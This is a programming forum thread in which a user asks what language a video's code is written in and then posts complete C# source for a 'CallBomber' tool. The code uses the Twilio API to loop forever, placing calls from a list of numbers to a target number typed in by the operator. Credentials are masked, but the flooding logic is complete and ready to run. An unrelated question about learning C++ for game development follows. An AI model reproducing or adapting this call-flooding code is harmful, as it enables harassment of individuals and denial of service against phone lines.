What Kind Of Coding Is This?

[zapshe]

Hi, I saw this video and was wondering what kind of coding was used. I assumed it was C++ based when I saw the syntax.

https://www.youtube.com/watch?v=EzedMdx6QG4

^This is the video, the code comes in at 2:17 . It's hard to really read the code but you can gather bits and pieces.

Now, I want to know what I'd need to learn in order to write similar code. I don't want to know because I have bloated dreams of hacking, I just wish to expand my knowledge. I have listed basic coding related things that I will learn when I'm done learning the rest of C++ basics.

To restate, I want to know what would be needed to learn in order to code like this (an external library?). Thanks!

[kbw]

I want to know what would be needed to learn in order to code like this

Write code like what? You can't see anything.

It looks like C#.

[zapshe]

Sorry about that, I elaborated but accidentally refreshed the page erasing what I wrote. Forgot to put some details in.

The code sent simultaneous calls to spam callers who operated with a single number connected to many phones (like any customer service place). The phone call would have a robotic voice repeating a coded message.

My question is what kind of coding was (or can be) used in order to send out so many calls and have a voice playback a message. I wish to add it to my list of things to learn.

[zapshe]

I was able to obtain a copy of the code. kbw - looks like you were right about it being C# - hope you guys don't mind C# code on C++ forum. :

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Text;
using System.Threading.Tasks;
using System.Linq;
using Twilio; /* Run 'Install-Package Twilio' in NuGet Package Manager console */
using Twilio.Rest.Api.V2010.Account;
using Twilio.Types;

namespace CallBomber
{
    class Program
    {
        public static string accountSid = "*********";
        public static string authtoken = "*********";
        public static List<string> numbers = new List<string>(new string[] { "[phone]", "[phone]", "[phone]", "[phone]", "[phone]", "[phone]", "[phone]", "[phone]", "[phone]", "[phone]", "[phone]", "[phone]", "[phone]", "[phone]", "[phone]", "[phone]", "[phone]", "[phone]", }); // Replace "" with phone numbers
        public static List<string> numbersInUse = new List<string>();
        public static string NumToCall = "";
        static void Main(string[] args)
        {
            Console.WriteLine(@"
            
   _____ ____  __  ______ 
  / ___// __ \/ / / / __ \
  \__ \/ / / / / / / /_/ /
 ___/ / /_/ / /_/ / ____/ 
/____/\____/\____/_/      
                      
            ");

            Console.WriteLine("Enter the target number to start flood (+1 MUST BE IN FRONT!):");
            NumToCall = Console.ReadLine();
            Console.WriteLine("Press ENTER to start the flooder, Otherwise exit the application right now...");
            
            Console.ReadLine();
            Console.Clear();
            TwilioClient.Init(accountSid, authtoken);

            var count = 1;
            // do while loop 
            do
            {
                Console.WriteLine("Starting Call Batch " + count.ToString() + " [" + numbers.Count + " Nums.)"); // this line needs to be fixed
                foreach (string num in numbers)
                {
                    Call(num);
                    System.Threading.Thread.Sleep(1000);
                }
                count++;
                System.Threading.Thread.Sleep(5000);
            } while (true);
        }

        // Call Function

        static void Call(string FromNumber)
        {
            try
            {
                var call = CallResource.Create(
                     new PhoneNumber(NumToCall),
                     new PhoneNumber(FromNumber),
                     record: true,
                     url: new Uri("/*A URL that returns TwiML markup*/")
               );

                Console.WriteLine(string.Format($"Started call to :" + call.To + " from: " + FromNumber));

            }
            catch (Exception Ex)
            {
                Console.WriteLine(string.Format($"Error on number {FromNumber}: {Ex.Message}"));
            }

        }
    }
}

[zapshe]

Well, it seems, after some digging, that this code was made through the twilio library -- which is from a website named twilio which is made for developers to send texts and calls. The library is for C# and Python apparently. Thanks kbw.

[ethanscott]

Hello all,

I am actually into game development and I think it was a mistake for me to jump into this field this soon.
I have been taking a few unity tutorials ( https://hackr.io/tutorials/learn-unity ) and now I realize that I should have concentrated on getting more advanced knowledge of C++.
I wanted to know your thoughts on this.
I have an option of pausing the course now and getting better at C++.
What should I be doing?
Is C++ even the right language to be learning to go into game development or is there anything else you guys would recommend?
Please help me out.

[kbw]

ethanscott, it's better to start a new thread for this.